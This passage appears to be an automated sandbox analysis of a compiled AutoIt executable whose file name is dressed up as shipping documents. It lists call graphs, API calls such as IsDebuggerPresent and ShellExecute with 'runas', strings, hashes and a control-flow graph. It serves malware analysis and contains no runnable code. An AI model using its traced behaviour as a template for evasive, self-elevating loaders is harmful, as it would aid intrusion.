106418->106419 106419->106348 106420 9c87d5 __calloc_crt 58 API calls 106420->106424 106421 9d4e16 106422 9c2d55 _free 58 API calls 106421->106422 106422->106419 106424->106417 106424->106419 106424->106420 106424->106421 106425 9d4e2d 106424->106425 106483 9d4607 58 API calls __cftoe_l 106424->106483 106484 9c8dc6 IsProcessorFeaturePresent 106425->106484 106427 9d4e39 106427->106348 106430 9c30fb __IsNonwritableInCurrentImage 106428->106430 106499 9ca4d1 106430->106499 106431 9c3119 __initterm_e 106432 9c2d40 __cinit 67 API calls 106431->106432 106433 9c3138 __cinit __IsNonwritableInCurrentImage 106431->106433 106432->106433 106433->106352 106435 9a47ea 106434->106435 106436 9a4889 106434->106436 106437 9a4824 IsThemeActive 106435->106437 106436->106356 106502 9c336c 106437->106502 106441 9a4850 106514 9a48fd SystemParametersInfoW SystemParametersInfoW 106441->106514 106443 9a485c 106515 9a3b3a 106443->106515 106445 9a4864 SystemParametersInfoW 106445->106436 106446->106330 106447->106334 106448->106341 106452->106357 106453->106360 106454->106366 106455->106368 106456->106372 106457->106373 106460 9c87dc 106458->106460 106461 9c8817 106460->106461 106463 9c87fa 106460->106463 106467 9d51f6 106460->106467 106461->106377 106464 9c9de6 TlsSetValue 106461->106464 106463->106460 106463->106461 106475 9ca132 Sleep 106463->106475 106464->106381 106465->106384 106466->106380 106468 9d5201 106467->106468 106472 9d521c 106467->106472 106469 9d520d 106468->106469 106468->106472 106476 9c8b28 58 API calls __getptd_noexit 106469->106476 106470 9d522c RtlAllocateHeap 106470->106472 106473 9d5212 106470->106473 106472->106470 106472->106473 106477 9c33a1 DecodePointer 106472->106477 106473->106460 106475->106463 106476->106473 106477->106472 106478->106400 106479->106401 106480->106392 106481->106408 106482->106413 106483->106424 106485 9c8dd1 106484->106485 106490 9c8c59 106485->106490 106489 9c8dec 106489->106427 106491 9c8c73 _memset ___raise_securityfailure 106490->106491 106492 9c8c93 IsDebuggerPresent 106491->106492 106498 9ca155 SetUnhandledExceptionFilter UnhandledExceptionFilter 106492->106498 106494 9cc5f6 __cftoe_l 6 API calls 106495 9c8d7a 106494->106495 106497 9ca140 GetCurrentProcess TerminateProcess 106495->106497 106496 9c8d57 ___raise_securityfailure 106496->106494 106497->106489 106498->106496 106500 9ca4d4 EncodePointer 106499->106500 106500->106500 106501 9ca4ee 106500->106501 106501->106431 106503 9c9c0b __lock 58 API calls 106502->106503 106504 9c3377 DecodePointer EncodePointer 106503->106504 106567 9c9d75 LeaveCriticalSection 106504->106567 106506 9a4849 106507 9c33d4 106506->106507 106508 9c33de 106507->106508 106509 9c33f8 106507->106509 106508->106509 106568 9c8b28 58 API calls __getptd_noexit 106508->106568 106509->106441 106511 9c33e8 106569 9c8db6 9 API calls __cftoe_l 106511->106569 106513 9c33f3 106513->106441 106514->106443 106516 9a3b47 __ftell_nolock 106515->106516 106517 9a7667 59 API calls 106516->106517 106518 9a3b51 GetCurrentDirectoryW 106517->106518 106570 9a3766 106518->106570 106520 9a3b7a IsDebuggerPresent 106521 9a3b88 106520->106521 106522 9dd272 MessageBoxA 106520->106522 106524 9dd28c 106521->106524 106525 9a3ba5 106521->106525 106554 9a3c61 106521->106554 106522->106524 106523 9a3c68 SetCurrentDirectoryW 106530 9a3c75 Mailbox 106523->106530 106692 9a7213 59 API calls Mailbox 106524->106692 106651 9a7285 106525->106651 106528 9dd29c 106534 9dd2b2 SetCurrentDirectoryW 106528->106534 106530->106445 106531 9a3bc3 GetFullPathNameW 106532 9a7bcc 59 API calls 106531->106532 106533 9a3bfe 106532->106533 106667 9b092d 106533->106667 106534->106530 106537 9a3c1c 106538 9a3c26 106537->106538 106693 9f874b AllocateAndInitializeSid CheckTokenMembership FreeSid 106537->106693 106683 9a3a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 106538->106683 106541 9dd2cf 106541->106538 106554->106523 106567->106506 106568->106511 106569->106513 106571 9a7667 59 API calls 106570->106571 106572 9a377c 106571->106572 106694 9a3d31 106572->106694 106574 9a379a 106575 9a4706 61 API calls 106574->106575 106576 9a37ae 106575->106576 106577 9a7de1 59 API calls 106576->106577 106578 9a37bb 106577->106578 106579 9a4ddd 136 API calls 106578->106579 106580 9a37d4 106579->106580 106581 9a37dc Mailbox 106580->106581 106582 9dd173 106580->106582 106586 9a8047 59 API calls 106581->106586 106736 a0955b 106582->106736 106585 9dd192 106588 9c2d55 _free 58 API calls 106585->106588 106589 9a37ef 106586->106589 106587 9a4e4a 84 API calls 106587->106585 106591 9dd19f 106588->106591 106708 9a928a 106589->106708 106592 9a4e4a 84 API calls 106591->106592 106594 9dd1a8 106592->106594 106598 9a3ed0 59 API calls 106594->106598 106595 9a7de1 59 API calls 106596 9a3808 106595->106596 106597 9a84c0 69 API calls 106596->106597 106599 9a381a Mailbox 106597->106599 106600 9dd1c3 106598->106600 106601 9a7de1 59 API calls 106599->106601 106602 9a3ed0 59 API calls 106600->106602 106603 9a3840 106601->106603 106604 9dd1df 106602->106604 106605 9a84c0 69 API calls 106603->106605 106606 9a4706 61 API calls 106604->106606 106608 9a384f Mailbox 106605->106608 106607 9dd204 106606->106607 106609 9a3ed0 59 API calls 106607->106609 106610 9a7667 59 API calls 106608->106610 106611 9dd210 106609->106611 106613 9a386d 106610->106613 106612 9a8047 59 API calls 106611->106612 106614 9dd21e 106612->106614 106711 9a3ed0 106613->106711 106616 9a3ed0 59 API calls 106614->106616 106622 9dd22d 106616->106622 106619 9a3887 106619->106594 106620 9a3891 106619->106620 106621 9c2efd _W_store_winword 60 API calls 106620->106621 106623 9a389c 106621->106623 106624 9a8047 59 API calls 106622->106624 106623->106600 106625 9a38a6 106623->106625 106626 9dd24f 106624->106626 106627 9c2efd _W_store_winword 60 API calls 106625->106627 106628 9a3ed0 59 API calls 106626->106628 106629 9a38b1 106627->106629 106630 9dd25c 106628->106630 106629->106604 106631 9a38bb 106629->106631 106630->106630 106632 9c2efd _W_store_winword 60 API calls 106631->106632 106633 9a38c6 106632->106633 106633->106622 106634 9a3907 106633->106634 106636 9a3ed0 59 API calls 106633->106636 106634->106622 106635 9a3914 106634->106635 106638 9a92ce 59 API calls 106635->106638 106637 9a38ea 106636->106637 106639 9a8047 59 API calls 106637->106639 106640 9a3924 106638->106640 106641 9a38f8 106639->106641 106642 9a9050 59 API calls 106640->106642 106643 9a3ed0 59 API calls 106641->106643 106644 9a3932 106642->106644 106643->106634 106727 9a8ee0 106644->106727 106646 9a928a 59 API calls 106648 9a394f 106646->106648 106647 9a8ee0 60 API calls 106647->106648 106648->106646 106648->106647 106649 9a3ed0 59 API calls 106648->106649 106650 9a3995 Mailbox 106648->106650 106649->106648 106650->106520 106652 9a7292 __ftell_nolock 106651->106652 106653 9a72ab 106652->106653 106654 9dea22 _memset 106652->106654 106655 9a4750 60 API calls 106653->106655 106656 9dea3e GetOpenFileNameW 106654->106656 106657 9a72b4 106655->106657 106658 9dea8d 106656->106658 106776 9c0791 106657->106776 106660 9a7bcc 59 API calls 106658->106660 106662 9deaa2 106660->106662 106662->106662 106664 9a72c9 106794 9a686a 106664->106794 106668 9b093a __ftell_nolock 106667->106668 106972 9a6d80 106668->106972 106670 9b093f 106671 9a3c14 106670->106671 106983 9b119e 89 API calls 106670->106983 106671->106528 106671->106537 106673 9b094c 106673->106671 106984 9b3ee7 91 API calls Mailbox 106673->106984 106675 9b0955 106675->106671 106692->106528 106693->106541 106695 9a3d3e __ftell_nolock 106694->106695 106696 9a7bcc 59 API calls 106695->106696 106707 9a3ea4 Mailbox 106695->106707 106698 9a3d70 106696->106698 106697 9a79f2 59 API calls 106697->106698 106698->106697 106701 9a3da6 Mailbox 106698->106701 106699 9a79f2 59 API calls 106699->106701 106700 9a3e77 106702 9a7de1 59 API calls 106700->106702 106700->106707 106701->106699 106701->106700 106703 9a7de1 59 API calls 106701->106703 106706 9a3f74 59 API calls 106701->106706 106701->106707 106704 9a3e98 106702->106704 106703->106701 106705 9a3f74 59 API calls 106704->106705 106705->106707 106706->106701 106707->106574 106709 9c0db6 Mailbox 59 API calls 106708->106709 106710 9a37fb 106709->106710 106710->106595 106712 9a3eda 106711->106712 106713 9a3ef3 106711->106713 106715 9a8047 59 API calls 106712->106715 106714 9a7bcc 59 API calls 106713->106714 106716 9a3879 106714->106716 106715->106716 106717 9c2efd 106716->106717 106718 9c2f7e 106717->106718 106719 9c2f09 106717->106719 106773 9c2f90 60 API calls 3 library calls 106718->106773 106726 9c2f2e 106719->106726 106771 9c8b28 58 API calls __getptd_noexit 106719->106771 106722 9c2f8b 106722->106619 106723 9c2f15 106772 9c8db6 9 API calls __cftoe_l 106723->106772 106725 9c2f20 106725->106619 106726->106619 106728 9df17c 106727->106728 106730 9a8ef7 106727->106730 106728->106730 106775 9a8bdb 59 API calls Mailbox 106728->106775 106731 9a8ff8 106730->106731 106732 9a9040 106730->106732 106735 9a8fff 106730->106735 106734 9c0db6 Mailbox 59 API calls 106731->106734 106774 9a9d3c 60 API calls Mailbox 106732->106774 106734->106735 106735->106648 106737 9a4ee5 85 API calls 106736->106737 106738 a095ca 106737->106738 106739 a09734 96 API calls 106738->106739 106740 a095dc 106739->106740 106741 9a4f0b 74 API calls 106740->106741 106769 9dd186 106740->106769 106742 a095f7 106741->106742 106743 9a4f0b 74 API calls 106742->106743 106744 a09607 106743->106744 106745 9a4f0b 74 API calls 106744->106745 106746 a09622 106745->106746 106747 9a4f0b 74 API calls 106746->106747 106748 a0963d 106747->106748 106749 9a4ee5 85 API calls 106748->106749 106750 a09654 106749->106750 106751 9c571c __crtGetStringTypeA_stat 58 API calls 106750->106751 106752 a0965b 106751->106752 106753 9c571c __crtGetStringTypeA_stat 58 API calls 106752->106753 106754 a09665 106753->106754 106755 9a4f0b 74 API calls 106754->106755 106756 a09679 106755->106756 106757 a09109 GetSystemTimeAsFileTime 106756->106757 106758 a0968c 106757->106758 106759 a096a1 106758->106759 106760 a096b6 106758->106760 106761 9c2d55 _free 58 API calls 106759->106761 106762 a0971b 106760->106762 106763 a096bc 106760->106763 106764 a096a7 106761->106764 106766 9c2d55 _free 58 API calls 106762->106766 106765 a08b06 116 API calls 106763->106765 106767 9c2d55 _free 58 API calls 106764->106767 106768 a09713 106765->106768 106766->106769 106767->106769 106770 9c2d55 _free 58 API calls 106768->106770 106769->106585 106769->106587 106770->106769 106771->106723 106772->106725 106773->106722 106774->106735 106775->106730 106777 9d1940 __ftell_nolock 106776->106777 106778 9c079e GetLongPathNameW 106777->106778 106779 9a7bcc 59 API calls 106778->106779 106780 9a72bd 106779->106780 106781 9a700b 106780->106781 106782 9a7667 59 API calls 106781->106782 106783 9a701d 106782->106783 106784 9a4750 60 API calls 106783->106784 106785 9a7028 106784->106785 106786 9de885 106785->106786 106787 9a7033 106785->106787 106791 9de89f 106786->106791 106834 9a7908 61 API calls 106786->106834 106789 9a3f74 59 API calls 106787->106789 106790 9a703f 106789->106790 106828 9a34c2 106790->106828 106793 9a7052 Mailbox 106793->106664 106795 9a4ddd 136 API calls 106794->106795 106797 9a688f 106795->106797 106796 9de031 106798 a0955b 122 API calls 106796->106798 106797->106796 106799 9a4ddd 136 API calls 106797->106799 106800 9de046 106798->106800 106801 9a68a3 106799->106801 106802 9de04a 106800->106802 106803 9de067 106800->106803 106801->106796 106804 9a68ab 106801->106804 106805 9a4e4a 84 API calls 106802->106805 106806 9c0db6 Mailbox 59 API calls 106803->106806 106807 9a68b7 106804->106807 106808 9de052 106804->106808 106805->106808 106827 9de0ac Mailbox 106806->106827 106835 9a6a8c 106807->106835 106934 a042f8 90 API calls _wprintf 106808->106934 106812 9de060 106812->106803 106813 9de260 106814 9c2d55 _free 58 API calls 106813->106814 106815 9de268 106814->106815 106816 9a4e4a 84 API calls 106815->106816 106821 9de271 106816->106821 106817 9a750f 59 API calls 106817->106827 106820 9c2d55 _free 58 API calls 106820->106821 106821->106820 106822 9a4e4a 84 API calls 106821->106822 106938 9ff7a1 89 API calls 4 library calls 106821->106938 106822->106821 106824 9a7de1 59 API calls 106824->106827 106827->106813 106827->106817 106827->106821 106827->106824 106928 9a735d 106827->106928 106935 9ff73d 59 API calls 2 library calls 106827->106935 106936 9ff65e 61 API calls 2 library calls 106827->106936 106937 a0737f 59 API calls Mailbox 106827->106937 106829 9a34d4 106828->106829 106833 9a34f3 _memmove 106828->106833 106831 9c0db6 Mailbox 59 API calls 106829->106831 106830 9c0db6 Mailbox 59 API calls 106832 9a350a 106830->106832 106831->106833 106832->106793 106833->106830 106834->106786 106836 9de41e 106835->106836 106837 9a6ab5 106835->106837 106960 9ff7a1 89 API calls 4 library calls 106836->106960 106944 9a57a6 60 API calls Mailbox 106837->106944 106840 9de431 106961 9ff7a1 89 API calls 4 library calls 106840->106961 106841 9a6ad7 106945 9a57f6 67 API calls 106841->106945 106843 9a6aec 106843->106840 106845 9a6af4 106843->106845 106847 9a7667 59 API calls 106845->106847 106846 9de44d 106879 9a6b61 106846->106879 106848 9a6b00 106847->106848 106946 9c0957 60 API calls __ftell_nolock 106848->106946 106850 9a6b0c 106853 9a7667 59 API calls 106850->106853 106851 9a6b6f 106855 9a7667 59 API calls 106851->106855 106852 9de460 106854 9a5c6f CloseHandle 106852->106854 106856 9a6b18 106853->106856 106857 9de46c 106854->106857 106858 9a6b78 106855->106858 106859 9a4750 60 API calls 106856->106859 106860 9a4ddd 136 API calls 106857->106860 106861 9a7667 59 API calls 106858->106861 106862 9a6b26 106859->106862 106866 9de488 106860->106866 106863 9a6b81 106861->106863 106947 9a5850 ReadFile SetFilePointerEx 106862->106947 106864 9a459b 59 API calls 106863->106864 106868 9a6b98 106864->106868 106867 9de4b1 106866->106867 106871 a0955b 122 API calls 106866->106871 106962 9ff7a1 89 API calls 4 library calls 106867->106962 106872 9a7b2e 59 API calls 106868->106872 106870 9a6b52 106948 9a5aee SetFilePointerEx SetFilePointerEx 106870->106948 106875 9de4a4 106871->106875 106878 9a6ba9 SetCurrentDirectoryW 106872->106878 106873 9de4c8 106906 9a6d0c Mailbox 106873->106906 106876 9de4cd 106875->106876 106877 9de4ac 106875->106877 106881 9a4e4a 84 API calls 106876->106881 106880 9a4e4a 84 API calls 106877->106880 106884 9a6bbc Mailbox 106878->106884 106879->106851 106879->106852 106880->106867 106882 9de4d2 106881->106882 106883 9c0db6 Mailbox 59 API calls 106882->106883 106890 9de506 106883->106890 106886 9c0db6 Mailbox 59 API calls 106884->106886 106888 9a6bcf 106886->106888 106887 9a3bbb 106887->106531 106887->106554 106889 9a522e 59 API calls 106888->106889 106917 9a6bda Mailbox __wsetenvp 106889->106917 106891 9a750f 59 API calls 106890->106891 106925 9de54f Mailbox 106891->106925 106892 9a6ce7 106956 9a5c6f 106892->106956 106893 9de740 106967 a072df 59 API calls Mailbox 106893->106967 106896 9a6cf3 SetCurrentDirectoryW 106896->106906 106899 9de762 106968 a1fbce 59 API calls 2 library calls 106899->106968 106902 9de76f 106904 9c2d55 _free 58 API calls 106902->106904 106903 9de7d9 106971 9ff7a1 89 API calls 4 library calls 106903->106971 106904->106906 106939 9a57d4 106906->106939 106908 9a750f 59 API calls 106908->106925 106909 9de7f2 106909->106892 106911 9de7d1 106970 9ff5f7 59 API calls 4 library calls 106911->106970 106914 9a7de1 59 API calls 106914->106917 106917->106892 106917->106903 106917->106911 106917->106914 106949 9a586d 67 API calls _wcscpy 106917->106949 106950 9a6f5d GetStringTypeW 106917->106950 106951 9a6ecc 60 API calls __wcsnicmp 106917->106951 106952 9a6faa GetStringTypeW __wsetenvp 106917->106952 106953 9c363d GetStringTypeW _iswctype 106917->106953 106954 9a68dc 165 API calls 3 library calls 106917->106954 106955 9a7213 59 API calls Mailbox 106917->106955 106918 9a7de1 59 API calls 106918->106925 106922 9de792 106969 9ff7a1 89 API calls 4 library calls 106922->106969 106924 9de7ab 106926 9c2d55 _free 58 API calls 106924->106926 106925->106893 106925->106908 106925->106918 106925->106922 106963 9ff73d 59 API calls 2 library calls 106925->106963 106964 9ff65e 61 API calls 2 library calls 106925->106964 106965 a0737f 59 API calls Mailbox 106925->106965 106966 9a7213 59 API calls Mailbox 106925->106966 106927 9de7be 106926->106927 106927->106906 106929 9a7370 106928->106929 106932 9a741e 106928->106932 106930 9c0db6 Mailbox 59 API calls 106929->106930 106933 9a73a2 106929->106933 106930->106933 106931 9c0db6 59 API calls Mailbox 106931->106933 106932->106827 106933->106931 106933->106932 106934->106812 106935->106827 106936->106827 106937->106827 106938->106821 106940 9a5c6f CloseHandle 106939->106940 106941 9a57dc Mailbox 106940->106941 106942 9a5c6f CloseHandle 106941->106942 106943 9a57eb 106942->106943 106943->106887 106944->106841 106945->106843 106946->106850 106947->106870 106948->106879 106949->106917 106950->106917 106951->106917 106952->106917 106953->106917 106954->106917 106955->106917 106957 9a5c88 106956->106957 106958 9a5c79 106956->106958 106957->106958 106959 9a5c8d CloseHandle 106957->106959 106958->106896 106959->106958 106960->106840 106961->106846 106962->106873 106963->106925 106964->106925 106965->106925 106966->106925 106967->106899 106968->106902 106969->106924 106970->106903 106971->106909 106973 9a6d95 106972->106973 106977 9a6ea9 106972->106977 106974 9c0db6 Mailbox 59 API calls 106973->106974 106973->106977 106976 9a6dbc 106974->106976 106975 9c0db6 Mailbox 59 API calls 106978 9a6e31 106975->106978 106976->106975 106977->106670 106978->106977 106979 9a6240 94 API calls 106978->106979 106981 9a735d 59 API calls 106978->106981 106982 9a750f 59 API calls 106978->106982 106985 9f6553 59 API calls Mailbox 106978->106985 106979->106978 106981->106978 106982->106978 106983->106673 106984->106675 106985->106978 106988 9a1016 106993 9a4974 106988->106993 106991 9c2d40 __cinit 67 API calls 106992 9a1025 106991->106992 106994 9c0db6 Mailbox 59 API calls 106993->106994 106995 9a497c 106994->106995 106996 9a101b 106995->106996 107000 9a4936 106995->107000 106996->106991 107001 9a493f 107000->107001 107002 9a4951 107000->107002 107003 9c2d40 __cinit 67 API calls 107001->107003 107004 9a49a0 107002->107004 107003->107002 107005 9a7667 59 API calls 107004->107005 107006 9a49b8 GetVersionExW 107005->107006 107007 9a7bcc 59 API calls 107006->107007 107008 9a49fb 107007->107008 107009 9a7d2c 59 API calls 107008->107009 107014 9a4a28 107008->107014 107010 9a4a1c 107009->107010 107011 9a7726 59 API calls 107010->107011 107011->107014 107012 9a4a93 GetCurrentProcess IsWow64Process 107013 9a4aac 107012->107013 107016 9a4b2b GetSystemInfo 107013->107016 107017 9a4ac2 107013->107017 107014->107012 107015 9dd864 107014->107015 107018 9a4af8 107016->107018 107028 9a4b37 107017->107028 107018->106996 107021 9a4b1f GetSystemInfo 107023 9a4ae9 107021->107023 107022 9a4ad4 107024 9a4b37 2 API calls 107022->107024 107023->107018 107026 9a4aef FreeLibrary 107023->107026 107025 9a4adc GetNativeSystemInfo 107024->107025 107025->107023 107026->107018 107029 9a4ad0 107028->107029 107030 9a4b40 LoadLibraryA 107028->107030 107029->107021 107029->107022 107030->107029 107031 9a4b51 GetProcAddress 107030->107031 107031->107029 107032 9a1066 107037 9af76f 107032->107037 107034 9a106c 107035 9c2d40 __cinit 67 API calls 107034->107035 107036 9a1076 107035->107036 107038 9af790 107037->107038 107070 9bff03 107038->107070 107042 9af7d7 107043 9a7667 59 API calls 107042->107043 107044 9af7e1 107043->107044 107045 9a7667 59 API calls 107044->107045 107046 9af7eb 107045->107046 107047 9a7667 59 API calls 107046->107047 107048 9af7f5 107047->107048 107049 9a7667 59 API calls 107048->107049 107050 9af833 107049->107050 107051 9a7667 59 API calls 107050->107051 107052 9af8fe 107051->107052 107080 9b5f87 107052->107080 107056 9af930 107057 9a7667 59 API calls 107056->107057 107058 9af93a 107057->107058 107108 9bfd9e 107058->107108 107060 9af981 107061 9af991 GetStdHandle 107060->107061 107062 9e45ab 107061->107062 107063 9af9dd 107061->107063 107062->107063 107064 9e45b4 107062->107064 107065 9af9e5 OleInitialize 107063->107065 107115 a06b38 64 API calls Mailbox 107064->107115 107065->107034 107067 9e45bb 107116 a07207 CreateThread 107067->107116 107069 9e45c7 CloseHandle 107069->107065 107117 9bffdc 107070->107117 107073 9bffdc 59 API calls 107074 9bff45 107073->107074 107075 9a7667 59 API calls 107074->107075 107076 9bff51 107075->107076 107077 9a7bcc 59 API calls 107076->107077 107078 9af796 107077->107078 107079 9c0162 6 API calls 107078->107079 107079->107042 107081 9a7667 59 API calls 107080->107081 107082 9b5f97 107081->107082 107083 9a7667 59 API calls 107082->107083 107084 9b5f9f 107083->107084 107124 9b5a9d 107084->107124 107087 9b5a9d 59 API calls 107088 9b5faf 107087->107088 107089 9a7667 59 API calls 107088->107089 107090 9b5fba 107089->107090 107091 9c0db6 Mailbox 59 API calls 107090->107091 107092 9af908 107091->107092 107093 9b60f9 107092->107093 107094 9b6107 107093->107094 107095 9a7667 59 API calls 107094->107095 107096 9b6112 107095->107096 107097 9a7667 59 API calls 107096->107097 107098 9b611d 107097->107098 107099 9a7667 59 API calls 107098->107099 107100 9b6128 107099->107100 107101 9a7667 59 API calls 107100->107101 107102 9b6133 107101->107102 107103 9b5a9d 59 API calls 107102->107103 107104 9b613e 107103->107104 107105 9c0db6 Mailbox 59 API calls 107104->107105 107106 9b6145 RegisterWindowMessageW 107105->107106 107106->107056 107109 9f576f 107108->107109 107110 9bfdae 107108->107110 107127 a09ae7 60 API calls 107109->107127 107112 9c0db6 Mailbox 59 API calls 107110->107112 107114 9bfdb6 107112->107114 107113 9f577a 107114->107060 107115->107067 107116->107069 107128 a071ed 65 API calls 107116->107128 107118 9a7667 59 API calls 107117->107118 107119 9bffe7 107118->107119 107120 9a7667 59 API calls 107119->107120 107121 9bffef 107120->107121 107122 9a7667 59 API calls 107121->107122 107123 9bff3b 107122->107123 107123->107073 107125 9a7667 59 API calls 107124->107125 107126 9b5aa5 107125->107126 107126->107087 107127->107113 107129 9a1055 107134 9a2649 107129->107134 107132 9c2d40 __cinit 67 API calls 107133 9a1064 107132->107133 107135 9a7667 59 API calls 107134->107135 107136 9a26b7 107135->107136 107141 9a3582 107136->107141 107138 9a2754 107140 9a105a 107138->107140 107144 9a3416 59 API calls 2 library calls 107138->107144 107140->107132 107145 9a35b0 107141->107145 107144->107138 107146 9a35bd 107145->107146 107147 9a35a1 107145->107147 107146->107147 107148 9a35c4 RegOpenKeyExW 107146->107148 107147->107138 107148->107147 107149 9a35de RegQueryValueExW 107148->107149 107150 9a35ff 107149->107150 107151 9a3614 RegCloseKey 107149->107151 107150->107151 107151->107147

                                                Executed Functions

                                                Function 009A3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009A3B68
                                                • IsDebuggerPresent.KERNEL32 ref: 009A3B7A
                                                • GetFullPathNameW.KERNEL32(00007FFF,?,?,00A652F8,00A652E0,?,?), ref: 009A3BEB
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                  • Part of subcall function 009B092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,009A3C14,00A652F8,?,?,?), ref: 009B096E
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 009A3C6F
                                                • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00A57770,00000010), ref: 009DD281
                                                • SetCurrentDirectoryW.KERNEL32(?,00A652F8,?,?,?), ref: 009DD2B9
                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00A54260,00A652F8,?,?,?), ref: 009DD33F
                                                • ShellExecuteW.SHELL32(00000000,?,?), ref: 009DD346
                                                  • Part of subcall function 009A3A46: GetSysColorBrush.USER32(0000000F), ref: 009A3A50
                                                  • Part of subcall function 009A3A46: LoadCursorW.USER32(00000000,00007F00), ref: 009A3A5F
                                                  • Part of subcall function 009A3A46: LoadIconW.USER32(00000063), ref: 009A3A76
                                                  • Part of subcall function 009A3A46: LoadIconW.USER32(000000A4), ref: 009A3A88
                                                  • Part of subcall function 009A3A46: LoadIconW.USER32(000000A2), ref: 009A3A9A
                                                  • Part of subcall function 009A3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009A3AC0
                                                  • Part of subcall function 009A3A46: RegisterClassExW.USER32(?), ref: 009A3B16
                                                  • Part of subcall function 009A39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009A3A03
                                                  • Part of subcall function 009A39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009A3A24
                                                  • Part of subcall function 009A39D5: ShowWindow.USER32(00000000,?,?), ref: 009A3A38
                                                  • Part of subcall function 009A39D5: ShowWindow.USER32(00000000,?,?), ref: 009A3A41
                                                  • Part of subcall function 009A434A: _memset.LIBCMT ref: 009A4370
                                                  • Part of subcall function 009A434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 009A4415
                                                Strings
                                                • runas, xrefs: 009DD33A
                                                • This is a third-party compiled AutoIt script., xrefs: 009DD279
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                • String ID: This is a third-party compiled AutoIt script.$runas
                                                • API String ID: 529118366-3287110873
                                                • Opcode ID: 2e68df846b85f436b99a482a376793bd52de4c1ad7606959f878503780b7cb8e
                                                • Instruction ID: d6c6fa96651bbf5ff715aed5a3365017bc5e3f17baf9d3be252615dd33ff83f2
                                                • Opcode Fuzzy Hash: 2e68df846b85f436b99a482a376793bd52de4c1ad7606959f878503780b7cb8e
                                                • Instruction Fuzzy Hash: 6051E570D08108AEDF11EBF5EC16FFDBB79AB96710F008165F851B6162DAB04646CBA1
                                                Function 009A49A0 Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 996 9a49a0-9a4a00 call 9a7667 GetVersionExW call 9a7bcc 1001 9a4b0b-9a4b0d 996->1001 1002 9a4a06 996->1002 1003 9dd767-9dd773 1001->1003 1004 9a4a09-9a4a0e 1002->1004 1005 9dd774-9dd778 1003->1005 1006 9a4b12-9a4b13 1004->1006 1007 9a4a14 1004->1007 1009 9dd77b-9dd787 1005->1009 1010 9dd77a 1005->1010 1008 9a4a15-9a4a4c call 9a7d2c call 9a7726 1006->1008 1007->1008 1018 9a4a52-9a4a53 1008->1018 1019 9dd864-9dd867 1008->1019 1009->1005 1012 9dd789-9dd78e 1009->1012 1010->1009 1012->1004 1014 9dd794-9dd79b 1012->1014 1014->1003 1016 9dd79d 1014->1016 1020 9dd7a2-9dd7a5 1016->1020 1018->1020 1021 9a4a59-9a4a64 1018->1021 1022 9dd869 1019->1022 1023 9dd880-9dd884 1019->1023 1024 9dd7ab-9dd7c9 1020->1024 1025 9a4a93-9a4aaa GetCurrentProcess IsWow64Process 1020->1025 1030 9a4a6a-9a4a6c 1021->1030 1031 9dd7ea-9dd7f0 1021->1031 1032 9dd86c 1022->1032 1026 9dd86f-9dd878 1023->1026 1027 9dd886-9dd88f 1023->1027 1024->1025 1033 9dd7cf-9dd7d5 1024->1033 1028 9a4aaf-9a4ac0 1025->1028 1029 9a4aac 1025->1029 1026->1023 1027->1032 1040 9dd891-9dd894 1027->1040 1041 9a4b2b-9a4b35 GetSystemInfo 1028->1041 1042 9a4ac2-9a4ad2 call 9a4b37 1028->1042 1029->1028 1034 9dd805-9dd811 1030->1034 1035 9a4a72-9a4a75 1030->1035 1038 9dd7fa-9dd800 1031->1038 1039 9dd7f2-9dd7f5 1031->1039 1032->1026 1036 9dd7df-9dd7e5 1033->1036 1037 9dd7d7-9dd7da 1033->1037 1046 9dd81b-9dd821 1034->1046 1047 9dd813-9dd816 1034->1047 1043 9a4a7b-9a4a8a 1035->1043 1044 9dd831-9dd834 1035->1044 1036->1025 1037->1025 1038->1025 1039->1025 1040->1026 1045 9a4af8-9a4b08 1041->1045 1053 9a4b1f-9a4b29 GetSystemInfo 1042->1053 1054 9a4ad4-9a4ae1 call 9a4b37 1042->1054 1049 9a4a90 1043->1049 1050 9dd826-9dd82c 1043->1050 1044->1025 1052 9dd83a-9dd84f 1044->1052 1046->1025 1047->1025 1049->1025 1050->1025 1055 9dd859-9dd85f 1052->1055 1056 9dd851-9dd854 1052->1056 1057 9a4ae9-9a4aed 1053->1057 1061 9a4b18-9a4b1d 1054->1061 1062 9a4ae3-9a4ae7 GetNativeSystemInfo 1054->1062 1055->1025 1056->1025 1057->1045 1060 9a4aef-9a4af2 FreeLibrary 1057->1060 1060->1045 1061->1062 1062->1057
                                                APIs
                                                • GetVersionExW.KERNEL32(?), ref: 009A49CD
